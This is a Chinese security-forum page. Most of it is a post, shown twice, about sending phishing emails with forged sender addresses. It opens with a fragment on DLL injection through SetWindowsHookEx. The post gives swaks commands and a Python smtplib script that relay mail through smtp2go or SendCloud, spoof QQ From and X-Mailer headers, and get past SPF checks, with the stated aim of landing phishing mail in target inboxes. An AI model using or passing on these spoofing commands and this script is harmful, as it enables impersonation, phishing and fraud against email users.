int idHook, //要安装的挂钩过程的类型
HOOKPROC lpfn, //回调函数,也就是钩取到消息后要调用的函数
HINSTANCE hmod, //回调函数所属DLL的句柄
DWORD dwThreadId //想要挂钩的线程ID,设为0的话,我们的收费站就会影响到全国所有的高速公路
);

具体来说就是,我们把 SetWindowsHookEx 函数和我们想要执行的函数代码写在同一个 DLL 中,然后调用该 DLL 中的 SetWindowsHookEx 函数,该函数设置一个消息钩子,若其他进程被我们的钩子钩取到,系统就会强制把我们的 DLL 加载该进程的内存空间,调用我们设置的回调函数。

通过Email伪造发件人进行钓鱼攻击(二)

渗透测试wuyou 发表了文章 • 2 个评论 • 258 次浏览 • 2019-07-24 15:56 • 来自相关话题

钓鱼邮件的研究终于又取得了一点点的进展,这次可以绕过SPF记录的检测了
 
邮件托管平台
网上的邮件托管平台有很多,这里介绍两种:smtp2go 和 SendCloud
地址如下:
Smtp2go       (速度慢但免费发送量大)
SendCloud  (速度快但免费发送量少)
 
这里以Smtp2go为例介绍如何使用
注册好后可以免费发送1000封邮件




 
同时注意要保存用户名和密码
(SendCloud中的用户名和密码为 API_USER和API_KEY)




 
然后在这里填入一个你可以修改DNS的域名进行验证(SendCloud自带一个随机生成的域名,不需要用自己的进行验证)





之后就可以使用smtp2go的SMTP服务器进行代发邮件了 swaks -t xxx@qq.com -f xx@163.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪"
使用其他一些参数可以帮助我们更好的绕过SPF的检查:swaks -t xxx@qq.com -f xx@smtp2go.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪" --header-X-Mailer qq.com --header-From: "zksmile <xx@qq.com>"

但是使用swaks还是无法绕过全部的反垃圾机制
所以还是使用Python进行发送效果会好些,也可以根据实际需要对代码进行修改 
Python SMTP发送邮件#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
from email.header import Header
from email.mime.text import MIMEText

#sendcloud:mail_host="smtpcloud.sohu.com"
mail_host="mail.smtp2go.com"
mail_user="xx"
mail_pass="xxxxx"

sender = "zksmile <xx@qq.com>"
#发送者
receivers = "wuyou <xx@qq.com>"
#接受者
subject = "垂钓之法"
#邮件标题

message = MIMEText("孤舟蓑笠英,独钓寒江雪", "plain", "utf-8")
message["From"] = Header(sender ,"utf-8")
message["To"] = Header(receivers ,"utf-8")
message["Subject"] = Header(subject, "utf-8")
message["X-Mailer"] = Header("qq.com", "utf-8")

try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"伪造QQ邮箱发送至QQ邮箱:




 
伪造其他邮箱发送至QQ邮箱:




 
虽说现在可以初步将钓鱼邮件成功发送至目标邮箱了,但目前还是存在很多的问题
如qq邮箱在地址验证失败时不会在邮件列表中把发件人显示出来




 
还有代发暂时无法隐藏




 
虽说看了很多文章,知道代发是有可能绕过的,但我暂时仍没有一个很好的解决办法
所以说在第三篇我会继续在把钓鱼邮件技术进行改进

  查看全部
钓鱼邮件的研究终于又取得了一点点的进展,这次可以绕过SPF记录的检测了
 
邮件托管平台
网上的邮件托管平台有很多,这里介绍两种:smtp2go 和 SendCloud
地址如下:
Smtp2go       (速度慢但免费发送量大)
SendCloud  (速度快但免费发送量少)
 
这里以Smtp2go为例介绍如何使用
注册好后可以免费发送1000封邮件
1.png

 
同时注意要保存用户名和密码
(SendCloud中的用户名和密码为 API_USER和API_KEY)
2.png

 
然后在这里填入一个你可以修改DNS的域名进行验证(SendCloud自带一个随机生成的域名,不需要用自己的进行验证)
3.png


之后就可以使用smtp2go的SMTP服务器进行代发邮件了
 swaks -t xxx@qq.com -f xx@163.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪"

使用其他一些参数可以帮助我们更好的绕过SPF的检查:
swaks -t xxx@qq.com -f xx@smtp2go.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪" --header-X-Mailer qq.com --header-From: "zksmile <xx@qq.com>"


但是使用swaks还是无法绕过全部的反垃圾机制
所以还是使用Python进行发送效果会好些,也可以根据实际需要对代码进行修改 
Python SMTP发送邮件
#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
from email.header import Header
from email.mime.text import MIMEText

#sendcloud:mail_host="smtpcloud.sohu.com"
mail_host="mail.smtp2go.com"
mail_user="xx"
mail_pass="xxxxx"

sender = "zksmile <xx@qq.com>"
#发送者
receivers = "wuyou <xx@qq.com>"
#接受者
subject = "垂钓之法"
#邮件标题

message = MIMEText("孤舟蓑笠英,独钓寒江雪", "plain", "utf-8")
message["From"] = Header(sender ,"utf-8")
message["To"] = Header(receivers ,"utf-8")
message["Subject"] = Header(subject, "utf-8")
message["X-Mailer"] = Header("qq.com", "utf-8")

try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"
伪造QQ邮箱发送至QQ邮箱:
5.png

 
伪造其他邮箱发送至QQ邮箱:
6.png

 
虽说现在可以初步将钓鱼邮件成功发送至目标邮箱了,但目前还是存在很多的问题
如qq邮箱在地址验证失败时不会在邮件列表中把发件人显示出来
7.png

 
还有代发暂时无法隐藏
8.png

 
虽说看了很多文章,知道代发是有可能绕过的,但我暂时仍没有一个很好的解决办法
所以说在第三篇我会继续在把钓鱼邮件技术进行改进